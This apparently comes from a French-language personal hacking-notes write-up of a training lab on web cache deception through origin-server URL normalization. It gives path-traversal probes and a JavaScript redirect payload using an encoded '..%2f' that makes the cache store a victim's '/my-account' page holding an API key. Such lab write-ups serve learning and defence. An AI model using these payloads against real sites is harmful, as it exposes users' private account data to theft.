> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/web-cache-deception/web-cache-deception-via-origin-server-normalization.md).

# Tromperie du cache web via la normalisation côté serveur d’origine

### Exploitation de la normalisation du serveur d'origine pour la tromperie du cache Web

#### Objectif du laboratoire

Récupérer la \*\*clé API\*\* de l'utilisateur **carlos** en exploitant une **cache** comportement déclenché par une normalisation de l'URL par le **serveur d'origine**.

#### Accès

* Connexion possible avec : **wiener:peter**
* Une liste de délimiteurs est fournie par le laboratoire (liste des délimiteurs), mais ici l'attaque repose principalement sur `../` et l'encodage.

### 1) Observation

* Dans le **`/resources`** répertoire, il y a un actif **de la mise en cache**.
* L'idée est donc de faire passer une page sensible (**`/my-account`**) pour une ressource "mettable en cache", en utilisant un **chemin de traversée** qui sera **normalisé** par le serveur d'origine.

<figure><img src="/files/7a19034eb87e0ccc20b70d2b6dcc9eafa98d1acf" alt=""><figcaption></figcaption></figure>

Exemple testé :

```bash
/resources/../my-account
```

<figure><img src="/files/f33a800bdc18d176029ff9c8e8125b367f3c8c8e" alt=""><figcaption></figcaption></figure>

### 2) Exploitation

#### Idée

1. Forcer la victime à charger une URL qui commence par **`/resources/`** (pour déclencher le cache).
2. Revenir à **`/my-account`** via `../` (ou sa variante encodée).
3. Stocker la réponse dans le cache sous une clé, puis récupérer la page cachée.

{% code overflow="wrap" %}

```javascript
<script>
document.location = "https://0ad700ba030812cd804d126b00d800a7.web-security-academy.net/resources/../my-account/?jordan";
</script>
```

{% endcode %}

D'après vos tests : **ça ne fonctionne pas** dans cet état

<figure><img src="/files/08639f5c0c78c4edf50e2643893c8d4090201dc7" alt=""><figcaption></figcaption></figure>

### 3) Contournement : Encoder le backend

Vous indiquez que vous devez **encoder en URL** le séparateur pour que la normalisation d'origine fonctionne correctement.

URL utilisée :

```bash
/resources/..%2fmy-account?jordan
```

Payload final :

```javascript
<script>
document.location = "https://0ad700ba030812cd804d126b00d800a7.web-security-academy.net/resources/..%2fmy-account?jordan";
</script>
```

Résultat : le serveur **interprète** l'URL comme prévu (normalisation), permettant de poursuivre l'attaque de cache

<figure><img src="/files/24c88aad8625ee516ef55f3e2567b31670e0fac4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/web-cache-deception/web-cache-deception-via-origin-server-normalization.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
